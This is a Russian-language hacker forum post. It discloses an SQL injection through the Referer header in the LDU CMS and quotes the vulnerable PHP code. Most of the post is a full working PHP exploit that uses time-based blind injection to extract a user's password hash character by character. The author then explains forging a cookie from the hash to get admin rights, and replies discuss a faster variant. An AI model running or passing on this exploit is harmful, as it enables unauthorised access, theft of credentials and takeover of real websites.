Копался в LDU, нашел sql injection в заголовке Referer. файл: system/common.php Code: $sys['referer'] = substr(getenv('HTTP_REFERER'),0,255); if (@!eregi($cfg['mainurl'], $sys['referer']) && @!eregi($cfg['hostip'],$sys['referer']) && @!eregi(str_replace('www.','',$cfg['mainurl']), $sys['referer']) && !empty($sys['referer'])) { $sql = ldu_query("SELECT COUNT(*) FROM $db_referers WHERE ref_url = '".$sys['referer']."'"); $count = ldu_result($sql,0,"COUNT(*)"); if ($count>0) { $sql = ldu_query("UPDATE $db_referers SET ref_count=ref_count+1, ref_date='".$sys['now_offset']."' WHERE ref_url='".$sys['referer']."'"); } else { $sql = ldu_query("INSERT INTO $db_referers (ref_url,ref_count,ref_date) VALUES ('".$sys['referer']."','1','".$sys['now_offset']."')"); } } } Инъекция без вывода результата, поэтому пришлось использовать ф-ию benchmark; Вот сплоит: ps задержка между запросами 10 сек, для того чтобы не нагружать mysql . Проверял вроде работает, правда долго ждать... ))) Code: #!/usr/bin/php <? error_reporting(E_ALL); if ($argc < 3) { print ($argv[0]." <site> <path> [<id>] [<num>]\n"); print (' _// _// _//_/// _// _// _// _// _// _/ _// _/ _// _// _/ _// _/ _// _// _/ _// _// _//_/// _/ _// '); print (' <site> - адрес сайта [ example.com ] <path> - путь [ / ] <id> - id пользователя [ 1 ] <num> - с какой позиции начать [ 1 ] Пример: ./getpass 127.0.0.1 /802/ '); exit; } // Настройки define('debug', 0); define('benchmark', 5555555); define('start_chr', 48); define('stop_chr', 90); define('delay', 10); // задержка в секундах между запросами define('timeout', 5); //На сколько секунд отличается обычный запрос от запроса с benchmark $cfg['queryCount'] = 0; $cfg['host'] = $argv[1]; $cfg['path'] = $argv[2]; $cfg['num'] = (int)@$argv[4]; $cfg['uid'] = (int)@$argv[3]; if ($cfg['num'] == 0) $cfg['num'] = 1; if ($cfg['uid'] == 0) $cfg['uid'] = 1; function get_microtime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } function get_data($query) { GLOBAL $cfg, $session_id; $buff = ''; $get = "GET http://".$cfg['host'].$cfg['path']."index.php HTTP/1.0\r\n"; $get.= "HOST: ".$cfg['host']."\r\n"; $get.= "Referer: ".$query."\r\n"; $get.= "Cookie: PHPSESSID=".$session_id."\r\n\r\n"; if (debug == 1) print ("\n".$get); $fp = @fsockopen($cfg['host'], 80, $errno, $errstr, 20); if (!$fp) { die ("\nНе могу подключиться к серверу: ".$errstr."\n"); } else { $cfg['queryCount'] += 1; fputs($fp, $get); while (!feof($fp)) { $buff .= fgets($fp, 254); } fclose($fp); } unset($buff); } function check_request($id, $i, $z) { GLOBAL $TimeOut, $cfg; $query = "' union select 1 from ldu_users where user_id=".$cfg['uid']." and if(char(".$id.")".$z."substring(user_password,".$i.",1),benchmark(".benchmark.",md5('beer')),1) #"; if (get_timeout($query) >= $TimeOut) { return true; } return false; } function get_char($id, $i, $start, $stop, $z) { sleep(delay); if (check_request($id, $i, $z)) { if(($stop - $id) == 1) { if (check_request($stop, $i,'=')) { return $stop; } else { return $id; } } else { $curid = $id + (int)(($stop - $id) / 2); return get_char($curid, $i, $id, $stop, '<'); } } else { if (($id - $start) == 1) { if (check_request($start, $i,'=')) { return $start; } else { return $id; } } else { $curid = $id - (int)(($id - $start) / 2); return get_char($curid, $i, $start, $id, '<'); } } } function get_timeout($query) { $start_time = get_microtime(); get_data($query); $stop_time = get_microtime(); return ($stop_time - $start_time); } print ("\n- - - - - - - - - - - - - - - - - - - - - - - \n"); print ("Путь: http://".$cfg['host'].$cfg['path']."index.php\n"); print ("Задержка между запросами: ".delay." сек\n"); print ("Коды получаемых символов: ".start_chr." - ".stop_chr."\n"); print ("Аргумент фии benchmark: ".benchmark."\n"); print ("- - - - - - - - - - - - - - - - - - - - - - - \n\n"); /* Устанавливаем сессию */ $session_id = md5(rand(1, 100).time()); /* Проверка на возможность использоваие benchmark */ print "Проверка на доступность benchmark и mysql >= 4.0\t"; $query = "http://google.com"; $QueryTimeOut = get_timeout($query); sleep(delay); $query = "' union select benchmark(".benchmark.",md5('beer')) #"; $BenchTimeOut = get_timeout($query); $resTime = $BenchTimeOut - $QueryTimeOut; if ($resTime < timeout) die("[ Bad ]\n"); print ("[ Ok ]\n"); $TimeOut = $QueryTimeOut + timeout - 1; print ('Таймаут: '.$TimeOut." сек\n"); print ("[uid = ".$cfg['uid']."] md5 hash ~> "); /* ----------------------------------- */ $curid = start_chr + (int)((stop_chr - start_chr) / 2); for ($i = $cfg['num']; $i <= 32; $i++) { $r1 = get_char($curid, $i, start_chr, stop_chr, '<'); if (!check_request($r1, $i, '=')) die("\nОшибка получения символа на позиции ".$i."\n"); print chr($r1); } print ("\nКоличество запросов: ".$cfg['queryCount']."\n"); ?> После получения хеша, формируем cookie и наслождаемся админскими правами, если конечно нет фильтрации по ip... Тхе тхе
Elekt-> more1row отлично работает. смысла в бенчмарке нет (Dm)-> а как же без бенчмарка... вот так делается без бенчмарка. (устаревший приват годовой давности, как пример тем кто хочет разобраться)